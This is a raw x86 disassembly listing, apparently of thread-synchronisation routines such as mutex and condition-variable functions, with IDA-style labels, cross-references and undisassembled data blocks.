lea eax, [esi+14h]
push eax
call sub_401690
mov edi, eax
add esp, 4
test edi, edi
jnz short loc_43014F
push esi
nop
call near ptr 77C2C21Bh
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43014F: ; CODE XREF: ___:0043013Cj
mov ecx, [esi+0Ch]
push 0
push ecx
push ebx
call sub_401C8A
add esp, 0Ch
loc_43015E: ; CODE XREF: ___:0043012Aj
mov eax, edi
mov [ebp+0], esi
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_430168: ; CODE XREF: ___:0043010Aj
; ___:00430111j
pop edi
pop esi
pop ebp
mov eax, 16h
pop ebx
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4301A0: ; CODE XREF: ___:004017A3j
mov eax, [esp+4]
push esi
test eax, eax
jz loc_430254
mov esi, [eax]
test esi, esi
jz loc_430254
push ebp
lea ebp, [esi+8]
push edi
push esi
mov edi, [ebp+0]
nop
call near ptr 2780AFEh
test eax, eax
jnz short loc_4301E7
mov eax, [esi+4]
cmp eax, 1
mov [esi], eax
jbe short loc_430234
dec eax
push eax
lea eax, [esi+edi*4+10h]
push eax
call sub_402068
add esp, 8
mov esi, eax
jmp short loc_430230
; ---------------------------------------------------------------------------
loc_4301E7: ; CODE XREF: ___:004301C8j
push ebx
call sub_4012E4
; ---------------------------------------------------------------------------
mov ecx, [eax+34h]
mov ebx, 1
cmp ecx, ebx
jnz short loc_43020B
lea ecx, [esp+14h]
push ecx
push ebx
call sub_401415
; ---------------------------------------------------------------------------
add esp, 8
test eax, eax
jz short loc_43020D
loc_43020B: ; CODE XREF: ___:004301F7j
xor ebx, ebx
loc_43020D: ; CODE XREF: ___:00430209j
lea edx, [esi+edi*4+10h]
push edx
call sub_401041
add esp, 4
mov esi, eax
test ebx, ebx
pop ebx
jz short loc_430230
mov eax, [esp+10h]
push 0
push eax
call sub_401415
; ---------------------------------------------------------------------------
add esp, 8
loc_430230: ; CODE XREF: ___:004301E5j
; ___:0043021Fj
test esi, esi
jnz short loc_43024E
loc_430234: ; CODE XREF: ___:004301D2j
mov ecx, 1
push edi
sub ecx, edi
push ecx
push ebp
call dword_5103C8 ; InterlockedCompareExchange
xor edx, edx
cmp edi, eax
setnz dl
dec edx
mov esi, edx
loc_43024E: ; CODE XREF: ___:00430232j
pop edi
mov eax, esi
pop ebp
pop esi
retn
; ---------------------------------------------------------------------------
loc_430254: ; CODE XREF: ___:004301A7j
; ___:004301B1j
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_430290: ; CODE XREF: ___:00401F6Ej
push esi
push 4
push 1
xor esi, esi
call near ptr 77C2C0C3h
nop
add esp, 8
test eax, eax
jnz short loc_4302B3
mov edx, [esp+8]
mov ecx, 0Ch
pop esi
mov [edx], eax
mov eax, ecx
retn
; ---------------------------------------------------------------------------
loc_4302B3: ; CODE XREF: ___:004302A2j
mov ecx, [esp+8]
mov dword ptr [eax], 0
mov [ecx], eax
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4302E0: ; CODE XREF: ___:00401A87j
mov ecx, [esp+4]
push esi
xor esi, esi
test ecx, ecx
jz short loc_430301
mov eax, [ecx]
test eax, eax
jz short loc_430301
push eax
mov [ecx], esi
nop
call near ptr 77C2C21Bh
add esp, 4
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_430301: ; CODE XREF: ___:004302E9j
; ___:004302EFj
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_430320: ; CODE XREF: ___:0040127Bj
mov eax, [esp+4]
test eax, eax
jz short loc_43033D
mov eax, [eax]
test eax, eax
jz short loc_43033D
mov ecx, [esp+8]
test ecx, ecx
jz short loc_43033D
mov eax, [eax]
mov [ecx], eax
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_43033D: ; CODE XREF: ___:00430326j
; ___:0043032Cj ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_430360: ; CODE XREF: ___:00401636j
mov eax, [esp+4]
test eax, eax
jz short loc_43038A
mov ecx, [eax]
test ecx, ecx
jz short loc_43038A
mov eax, [esp+8]
cmp eax, 1
jz short loc_43037E
test eax, eax
jnz short loc_43038A
mov [ecx], eax
retn
; ---------------------------------------------------------------------------
loc_43037E: ; CODE XREF: ___:00430375j
mov eax, 28h
mov dword ptr [ecx], 0
retn
; ---------------------------------------------------------------------------
loc_43038A: ; CODE XREF: ___:00430366j
; ___:0043036Cj ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4303A0 proc near ; CODE XREF: sub_401415j
push esi
push edi
call sub_4012E4
sub_4303A0 endp
; ---------------------------------------------------------------------------
db 8Bh
dd 74F685F0h, 247C8B7Bh, 74FF850Ch, 1FF8305h, 8D536E75h
dd 0E8532C5Eh, 0FFFD1E84h, 1824448Bh, 8504C483h, 8B0574C0h
dd 889304Eh, 7E89FF85h, 8B3E7530h, 0C0853446h, 568B3775h
dd 90525738h, 350395E8h, 75C08502h, 38468B28h, 30C46C7h
dd 50000000h, 13046C7h, 0E8000000h, 2350572h, 0B4E85390h
dd 6AFFFD0Ch, 19D7E802h, 0C483FFFDh, 0A4E85308h, 83FFFD0Ch
dd 0C03304C4h, 0C35E5F5Bh, 16B85Fh, 0C35E0000h, 0Ch dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------
loc_430460: ; CODE XREF: ___:00402261j
push ebx
push esi
call sub_4012E4
; ---------------------------------------------------------------------------
db 8Bh
dd 74F685F0h, 245C8B7Bh, 1FB830Ch, 0DB850474h, 8D576E75h
dd 0E8572C7Eh, 0FFFD1DC4h, 1824448Bh, 8504C483h, 8B0574C0h
dd 889344Eh, 8930468Bh, 0C085345Eh, 0DB853B75h, 568B3775h
dd 90525338h, 3502D5E8h, 75C08502h, 38468B28h, 30C46C7h
dd 50000000h, 13046C7h, 0E8000000h, 23504B2h, 0F4E85790h
dd 6AFFFD0Bh, 1917E802h, 0C483FFFDh, 0E4E85708h, 83FFFD0Bh
dd 0C03304C4h, 0C35B5E5Fh, 16B85Eh, 0C35B0000h, 0Ch dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_430520 proc near ; CODE XREF: sub_401D02j
push esi
push edi
call sub_4012E4
sub_430520 endp
; ---------------------------------------------------------------------------
db 8Bh
dd 2C7E8DF0h, 1D16E857h, 0C483FFFDh, 74F68504h, 307E8334h
dd 8B2E7401h, 6A3846h, 238E850h, 85900235h, 571E75C0h
dd 30C46C7h, 0C7000000h, 13046h, 60E80000h, 6AFFFD0Bh
dd 1883E802h, 0C483FFFDh, 50E85708h, 83FFFD0Bh, 5E5F04C4h
dd 909090C3h, 90909090h, 8 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------
loc_4305A0: ; CODE XREF: ___:00401D39j
sub esp, 2D0h
push esi
mov esi, [esp+2D8h]
push 0
push esi
call sub_401762
add esp, 8
mov [esp+4], eax
test eax, eax
jnz loc_4306D9
call sub_4012E4
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_4305DB
mov eax, 0Ch
pop esi
add esp, 2D0h
retn
; ---------------------------------------------------------------------------
loc_4305DB: ; CODE XREF: ___:004305CCj
push ebx
push ebp
push edi
push eax
push esi
call sub_401A64
lea ebx, [esi+2Ch]
mov edi, eax
push ebx
call sub_402248
mov eax, [esi+34h]
add esp, 0Ch
test eax, eax
mov ebp, 3
jnz loc_4306B2
mov eax, [esi+30h]
test eax, eax
jnz loc_4306B2
cmp [esi+0Ch], ebp
jge loc_4306C5
test edi, edi
jz short loc_430644
push ebx
mov [esi+0Ch], ebp
mov dword ptr [esi+30h], 1
call sub_4010C3
push 2
call sub_401DED
; ---------------------------------------------------------------------------
mov eax, [esp+18h]
add esp, 8
pop edi
pop ebp
pop ebx
pop esi
add esp, 2D0h
retn
; ---------------------------------------------------------------------------
loc_430644: ; CODE XREF: ___:00430619j
mov edi, [esi+4]
push edi
nop
call near ptr 27709C1h
push 0
push edi
nop
call near ptr 2780782h
cmp eax, 102h
jnz short loc_4306D2
lea eax, [esp+14h]
mov [esi+0Ch], ebp
push eax
push edi
mov dword ptr [esi+30h], 1
mov dword ptr [esp+1Ch], 10001h
nop
call near ptr 2770BA5h
lea ecx, [esp+14h]
mov dword ptr [esp+0CCh], offset loc_430750
push ecx
push edi
nop
call near ptr 2780000h
push ebx
call sub_4010C3
add esp, 4
push edi
call near ptr 27802A8h
nop
mov eax, [esp+10h]
pop edi
pop ebp
pop ebx
pop esi
add esp, 2D0h
retn
; ---------------------------------------------------------------------------
loc_4306B2: ; CODE XREF: ___:004305FDj
; ___:00430608j
cmp [esi+0Ch], ebp
jge short loc_4306C5
mov edx, [esi+38h]
push edx
nop
call near ptr 27804EEh
test eax, eax
jnz short loc_4306C9
loc_4306C5: ; CODE XREF: ___:00430611j
; ___:004306B5j
mov [esp+10h], ebp
loc_4306C9: ; CODE XREF: ___:004306C3j
push ebx
call sub_4010C3
add esp, 4
loc_4306D2: ; CODE XREF: ___:0043065Cj
mov eax, [esp+10h]
pop edi
pop ebp
pop ebx
loc_4306D9: ; CODE XREF: ___:004305BFj
pop esi
add esp, 2D0h
retn
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 60h dup(0CCh)
; ---------------------------------------------------------------------------
loc_430750: ; DATA XREF: ___:00430680o
push 2
call sub_401DED
; ---------------------------------------------------------------------------
pop ecx
retn
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_430770 proc near ; CODE XREF: sub_401122j
mov eax, dword_5103B8
push esi
push eax
call sub_401190
sub_430770 endp
; ---------------------------------------------------------------------------
mov esi, eax
add esp, 4
test esi, esi
jz short loc_4307AE
mov eax, [esp+8]
test eax, eax
jz short loc_43079C
mov eax, [esi]
test eax, eax
jz short loc_43079C
mov ecx, [esi+4]
push ecx
call eax
add esp, 4
loc_43079C: ; CODE XREF: ___:0043078Bj
; ___:00430791j
mov edx, [esi+8]
mov eax, dword_5103B8
push edx
push eax
call sub_4020F9
; ---------------------------------------------------------------------------
add esp, 8
loc_4307AE: ; CODE XREF: ___:00430783j
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4307E0 proc near ; CODE XREF: sub_401663j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_4]
mov ecx, [esp+arg_8]
push esi
mov esi, [esp+4+arg_0]
mov [esi], eax
mov [esi+4], ecx
mov edx, dword_5103B8
push edx
call sub_401190
sub_4307E0 endp
; ---------------------------------------------------------------------------
mov [esi+8], eax
mov eax, dword_5103B8
push esi
push eax
call sub_4020F9
; ---------------------------------------------------------------------------
add esp, 0Ch
pop esi
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_430830 proc near ; CODE XREF: sub_401B63j
arg_0 = dword ptr 4
push esi
push offset dword_510900
xor esi, esi
call near ptr 7C901005h
nop
mov ecx, [esp+4+arg_0]
mov eax, [ecx]
cmp eax, 0FFFFFFFFh
jnz short loc_430864
push esi
push ecx
call sub_40154B
add esp, 8
mov esi, eax
push offset dword_510900
call near ptr 7C9010EDh
nop
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_430864: ; CODE XREF: sub_430830+17j
test eax, eax
jnz short loc_43086D
mov esi, 16h
loc_43086D: ; CODE XREF: sub_430830+36j
push offset dword_510900
nop
call near ptr 7C9010EDh
mov eax, esi
pop esi
retn
sub_430830 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4308A0: ; CODE XREF: ___:0040211Cj
push esi
push 4
push 1
xor esi, esi
nop
call near ptr 77C2C0C3h
add esp, 8
test eax, eax
jnz short loc_4308C3
mov edx, [esp+8]
mov ecx, 0Ch
pop esi
mov [edx], eax
mov eax, ecx
retn
; ---------------------------------------------------------------------------
loc_4308C3: ; CODE XREF: ___:004308B2j
mov ecx, [esp+8]
mov [ecx], eax
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4308E0: ; CODE XREF: ___:004021F3j
push esi
mov esi, [esp+8]
test esi, esi
jz short loc_430903
mov eax, [esi]
test eax, eax
jz short loc_430903
push eax
nop
call near ptr 77C2C21Bh
add esp, 4
mov dword ptr [esi], 0
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_430903: ; CODE XREF: ___:004308E7j
; ___:004308EDj
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_430920: ; CODE XREF: ___:00401005j
mov eax, [esp+4]
test eax, eax
jz short loc_43093D
mov eax, [eax]
test eax, eax
jz short loc_43093D
mov ecx, [esp+8]
test ecx, ecx
jz short loc_43093D
mov eax, [eax]
mov [ecx], eax
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_43093D: ; CODE XREF: ___:00430926j
; ___:0043092Cj ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_430960: ; CODE XREF: ___:004012ADj
mov eax, [esp+4]
test eax, eax
jz short loc_43098A
mov ecx, [eax]
test ecx, ecx
jz short loc_43098A
mov eax, [esp+8]
cmp eax, 1
jz short loc_43097E
test eax, eax
jnz short loc_43098A
mov [ecx], eax
retn
; ---------------------------------------------------------------------------
loc_43097E: ; CODE XREF: ___:00430975j
mov eax, 28h
mov dword ptr [ecx], 0
retn
; ---------------------------------------------------------------------------
loc_43098A: ; CODE XREF: ___:00430966j
; ___:0043096Cj ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4309A0 proc near ; CODE XREF: sub_40154Bj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
push edi
xor edi, edi
xor esi, esi
cmp eax, edi
jnz short loc_4309B6
pop edi
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_4309B6: ; CODE XREF: sub_4309A0+Cj
mov eax, [esp+8+arg_4]
push ebx
cmp eax, edi
push ebp
jz short loc_4309DD
mov eax, [eax]
cmp eax, edi
jz short loc_4309DD
cmp dword ptr [eax], 1
jnz short loc_4309DD
mov edx, [esp+10h+arg_0]
mov edi, 28h
pop ebp
mov eax, edi
pop ebx
mov [edx], esi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4309DD: ; CODE XREF: sub_4309A0+1Ej
; sub_4309A0+24j ...
push 20h
push 1
nop
call near ptr 77C2C0C3h
mov esi, eax
add esp, 8
cmp esi, edi
jnz short loc_430A02
mov edx, [esp+10h+arg_0]
mov edi, 0Ch
pop ebp
mov eax, edi
pop ebx
mov [edx], esi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_430A02: ; CODE XREF: sub_4309A0+4Ej
lea ebp, [esi+10h]
push 1
push edi
push ebp
mov [esi], edi
mov [esi+8], edi
mov [esi+4], edi
call sub_401C8A
add esp, 0Ch
test eax, eax
jz short loc_430A27
call near ptr 77C1F2BCh
nop
mov edi, [eax]
jmp short loc_430A6B
; ---------------------------------------------------------------------------
loc_430A27: ; CODE XREF: sub_4309A0+7Bj
lea ebx, [esi+0Ch]
push 0
push 0
push ebx
call sub_401C8A
add esp, 0Ch
test eax, eax
jz short loc_430A45
nop
call near ptr 77C1F2BCh
mov edi, [eax]
jmp short loc_430A62
; ---------------------------------------------------------------------------
loc_430A45: ; CODE XREF: sub_4309A0+99j
lea eax, [esi+14h]
push 0
push eax
call sub_4021BC
mov edi, eax
add esp, 8
test edi, edi
jz short loc_430ACF
push ebx
call sub_401690
add esp, 4
loc_430A62: ; CODE XREF: sub_4309A0+A3j
push ebp
call sub_401690
add esp, 4
loc_430A6B: ; CODE XREF: sub_4309A0+85j
push esi
call near ptr 77C2C21Bh
nop
add esp, 4
xor esi, esi
test edi, edi
jnz short loc_430AC2
loc_430A7B: ; CODE XREF: sub_4309A0+131j
push offset dword_510980
nop
call near ptr 7C901005h
mov dword ptr [esi+18h], 0
mov ecx, dword_5103C0
mov [esi+1Ch], ecx
mov eax, dword_5103C0
test eax, eax
jz short loc_430AA2
mov [eax+18h], esi
loc_430AA2: ; CODE XREF: sub_4309A0+FDj
mov eax, dword_5103BC
mov dword_5103C0, esi
test eax, eax
jnz short loc_430AB7
mov dword_5103BC, esi
loc_430AB7: ; CODE XREF: sub_4309A0+10Fj
push offset dword_510980
call near ptr 7C9010EDh
nop
loc_430AC2: ; CODE XREF: sub_4309A0+D9j
mov edx, [esp+10h+arg_0]
pop ebp
mov eax, edi
pop ebx
mov [edx], esi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_430ACF: ; CODE XREF: sub_4309A0+B7j
xor edi, edi
jmp short loc_430A7B
sub_4309A0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_430B30 proc near ; CODE XREF: sub_401AA5j
var_4 = dword ptr -4
arg_0 = dword ptr 4
push ecx
push ebx
push ebp
push esi
push edi
mov edi, [esp+14h+arg_0]
xor esi, esi
xor ebp, ebp
xor ebx, ebx
test edi, edi
mov [esp+14h+var_4], ebp
jz loc_430CDC
mov eax, [edi]
test eax, eax
jz loc_430CDC
cmp eax, 0FFFFFFFFh
jz loc_430C93
push offset dword_510980
call near ptr 7C901005h
nop
mov esi, [edi]
lea ebx, [esi+10h]
push ebx
call sub_401041
add esp, 4
test eax, eax
jz short loc_430B89
nop
call near ptr 77C1F2BCh
mov eax, [eax]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_430B89: ; CODE XREF: sub_430B30+49j
lea ebp, [esi+14h]
push ebp
call sub_401785
add esp, 4
mov [esp+14h+arg_0], eax
test eax, eax
jz short loc_430BB0
push ebx
call sub_40103C
mov eax, [esp+18h+arg_0]
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_430BB0: ; CODE XREF: sub_430B30+6Bj
mov eax, [esi]
mov ecx, [esi+4]
cmp eax, ecx
jle short loc_430BE9
push ebx
call sub_40103C
add esp, 4
test eax, eax
jz short loc_430BD2
nop
call near ptr 77C1F2BCh
mov ecx, [eax]
mov [esp+14h+arg_0], ecx
loc_430BD2: ; CODE XREF: sub_430B30+94j
push ebp
call sub_4010C3
add esp, 4
mov [esp+14h+var_4], eax
mov ebx, 10h
jmp loc_430C7E
; ---------------------------------------------------------------------------
loc_430BE9: ; CODE XREF: sub_430B30+87j
push ebx
mov dword ptr [edi], 0
call sub_401690
mov edi, dword_511A70
add esp, 4
test eax, eax
jz short loc_430C0A
call edi ; _errno
mov edx, [eax]
mov [esp+14h+arg_0], edx
loc_430C0A: ; CODE XREF: sub_430B30+D0j
lea eax, [esi+0Ch]
push eax
call sub_401690
add esp, 4
test eax, eax
jz short loc_430C22
call edi ; _errno
mov ecx, [eax]
mov [esp+14h+var_4], ecx
loc_430C22: ; CODE XREF: sub_430B30+E8j
push ebp
call sub_4010C3
mov ebx, eax
add esp, 4
test ebx, ebx
jnz short loc_430C3C
push ebp
call sub_402252
add esp, 4
mov ebx, eax
loc_430C3C: ; CODE XREF: sub_430B30+FFj
cmp dword_5103BC, esi
jnz short loc_430C4F
mov edx, [esi+18h]
mov dword_5103BC, edx
jmp short loc_430C58
; ---------------------------------------------------------------------------
loc_430C4F: ; CODE XREF: sub_430B30+112j
mov eax, [esi+1Ch]
mov ecx, [esi+18h]
mov [eax+18h], ecx
loc_430C58: ; CODE XREF: sub_430B30+11Dj
cmp dword_5103C0, esi
jnz short loc_430C6B
mov edx, [esi+1Ch]
mov dword_5103C0, edx
jmp short loc_430C74
; ---------------------------------------------------------------------------
loc_430C6B: ; CODE XREF: sub_430B30+12Ej
mov eax, [esi+18h]
mov ecx, [esi+1Ch]
mov [eax+1Ch], ecx
loc_430C74: ; CODE XREF: sub_430B30+139j
push esi
nop
call near ptr 77C2C21Bh
add esp, 4
loc_430C7E: ; CODE XREF: sub_430B30+B4j
push offset dword_510980
call near ptr 7C9010EDh
nop
mov esi, [esp+14h+arg_0]
mov ebp, [esp+14h+var_4]
jmp short loc_430CC2
; ---------------------------------------------------------------------------
loc_430C93: ; CODE XREF: sub_430B30+28j
push offset dword_510900
nop
call near ptr 7C901005h
cmp dword ptr [edi], 0FFFFFFFFh
jnz short loc_430CAB
mov dword ptr [edi], 0
jmp short loc_430CB7
; ---------------------------------------------------------------------------
loc_430CAB: ; CODE XREF: sub_430B30+171j
mov [esp+14h+arg_0], 10h
mov esi, [esp+14h+arg_0]
loc_430CB7: ; CODE XREF: sub_430B30+179j
push offset dword_510900
call near ptr 7C9010EDh
nop
loc_430CC2: ; CODE XREF: sub_430B30+161j
test esi, esi
jz short loc_430CCE
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_430CCE: ; CODE XREF: sub_430B30+194j
test ebp, ebp
mov eax, ebp
jnz short loc_430CE1
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_430CDC: ; CODE XREF: sub_430B30+15j
; sub_430B30+1Fj
mov eax, 16h
loc_430CE1: ; CODE XREF: sub_430B30+1A2j
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
sub_430B30 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_430D60 proc near ; CODE XREF: sub_401203j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push 0
push eax
push ecx
call sub_430D90
add esp, 0Ch
retn
sub_430D60 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_430D90 proc near ; CODE XREF: sub_430D60+Cp
; sub_431060+19p
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 20h
push esi
mov esi, [esp+24h+arg_0]
test esi, esi
push edi
mov [esp+28h+var_20], 0
jz loc_430E99
mov eax, [esi]
test eax, eax
jz loc_430E99
cmp eax, 0FFFFFFFFh
jnz short loc_430DD2
push esi
call sub_401B63
add esp, 4
mov [esp+28h+var_20], eax
test eax, eax
jz short loc_430DD2
cmp eax, 10h
jnz loc_430E9E
loc_430DD2: ; CODE XREF: sub_430D90+26j
; sub_430D90+37j
mov esi, [esi]
lea edi, [esi+10h]
push edi
call sub_401041
add esp, 4
test eax, eax
jz short loc_430DF2
nop
call near ptr 77C1F2BCh
mov eax, [eax]
pop edi
pop esi
add esp, 20h
retn
; ---------------------------------------------------------------------------
loc_430DF2: ; CODE XREF: sub_430D90+52j
mov ecx, [esi]
push edi
inc ecx
mov [esi], ecx
call sub_40103C
add esp, 4
test eax, eax
jz short loc_430E12
nop
call near ptr 77C1F2BCh
mov eax, [eax]
pop edi
pop esi
add esp, 20h
retn
; ---------------------------------------------------------------------------
loc_430E12: ; CODE XREF: sub_430D90+72j
mov edi, [esp+28h+arg_4]
lea ecx, [esp+28h+var_10]
push ecx
lea edx, [esp+2Ch+var_1C]
lea eax, [esp+2Ch+var_20]
push offset loc_430F00
push edx
mov [esp+34h+var_10], edi
mov [esp+34h+var_C], esi
mov [esp+34h+var_8], eax
mov [esp+34h+var_4], 0
call sub_401663
; ---------------------------------------------------------------------------
dw 0E857h
dd 0FFFD027Bh, 8910C483h, 85082444h, 8B2775C0h, 83342444h
dd 56500CC6h, 0FD0A46E8h, 8C483FFh, 0E74C085h, 7EE44FE8h
dd 8B9077h, 8244489h, 448B04EBh, 0C9330824h, 0C085016Ah
dd 89C1940Fh, 0E828244Ch, 0FFFD0296h, 0C24448Bh, 5F04C483h
dd 20C4835Eh
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
loc_430E99: ; CODE XREF: sub_430D90+13j
; sub_430D90+1Dj
mov eax, 16h
loc_430E9E: ; CODE XREF: sub_430D90+3Cj
pop edi
pop esi
add esp, 20h
retn
sub_430D90 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_430F00: ; DATA XREF: sub_430D90+93o
push ecx
push ebx
push ebp
mov ebp, [esp+10h]
push esi
push edi
mov esi, [ebp+4]
mov ebx, [ebp+8]
mov [esp+18h], ebx
lea edi, [esi+14h]
push edi
call sub_402248
add esp, 4
test eax, eax
jz short loc_430F2B
pop edi
pop esi
mov [ebx], eax
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_430F2B: ; CODE XREF: ___:00430F21j
mov ebx, [esi+8]
test ebx, ebx
mov [esp+10h], ebx
jz short loc_430F3E
lea eax, [ebx-1]
mov [esi+8], eax
jmp short loc_430FA7
; ---------------------------------------------------------------------------
loc_430F3E: ; CODE XREF: ___:00430F34j
mov ecx, [esi+4]
inc ecx
mov eax, ecx
mov [esi+4], ecx
cmp eax, 3FFFFFFFh
jnz short loc_430FA7
lea ebx, [esi+10h]
push ebx
call sub_401041
add esp, 4
test eax, eax
jz short loc_430F72
call near ptr 77C1F2BCh
nop
mov edx, [esp+18h]
mov ecx, [eax]
pop edi
pop esi
pop ebp
mov [edx], ecx
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_430F72: ; CODE XREF: ___:00430F5Cj
mov eax, [esi+4]
mov ecx, [esi]
sub ecx, eax
push ebx
mov [esi], ecx
call sub_40103C
add esp, 4
test eax, eax
jz short loc_430F9C
nop
call near ptr 77C1F2BCh
mov edx, [esp+18h]
mov ecx, [eax]
pop edi
pop esi
pop ebp
mov [edx], ecx
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_430F9C: ; CODE XREF: ___:00430F86j
mov ebx, [esp+10h]
mov dword ptr [esi+4], 0
loc_430FA7: ; CODE XREF: ___:00430F3Cj
; ___:00430F4Cj
push edi
call sub_4010C3
add esp, 4
test eax, eax
jz short loc_430FC0
mov ecx, [esp+18h]
pop edi
pop esi
pop ebp
mov [ecx], eax
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_430FC0: ; CODE XREF: ___:00430FB2j
cmp ebx, 1
jnz short loc_430FE9
add esi, 10h
push esi
call sub_40103C
add esp, 4
test eax, eax
jz short loc_430FE9
call near ptr 77C1F2BCh
nop
mov edx, [eax]
mov eax, [esp+18h]
pop edi
pop esi
pop ebp
mov [eax], edx
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_430FE9: ; CODE XREF: ___:00430FC3j
; ___:00430FD3j
mov ecx, [ebp+0]
push ecx
call sub_402248
add esp, 4
test eax, eax
jz short loc_430FFF
mov edx, [esp+18h]
mov [edx], eax
loc_430FFF: ; CODE XREF: ___:00430FF7j
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431060 proc near ; CODE XREF: sub_4011E0j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_8]
test eax, eax
jnz short loc_43106E
mov eax, 16h
retn
; ---------------------------------------------------------------------------
loc_43106E: ; CODE XREF: sub_431060+6j
mov ecx, [esp+arg_0]
push eax
mov eax, [esp+4+arg_4]
push eax
push ecx
call sub_430D90
add esp, 0Ch
retn
sub_431060 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4310A0 proc near ; CODE XREF: sub_401E6Fj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_4310C0
add esp, 8
retn
sub_4310A0 endp
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4310C0 proc near ; CODE XREF: sub_4310A0+7p
; sub_431220+7p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push ebx
push esi
push edi
test eax, eax
jz loc_4311C4
mov esi, [eax]
test esi, esi
jz loc_4311C4
cmp esi, 0FFFFFFFFh
jnz short loc_4310E4
pop edi
pop esi
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4310E4: ; CODE XREF: sub_4310C0+1Cj
lea ebx, [esi+14h]
push ebx
call sub_402248
add esp, 4
test eax, eax
jnz loc_4311C9
mov ecx, [esi+8]
mov eax, [esi]
test ecx, ecx
jz short loc_431134
test eax, eax
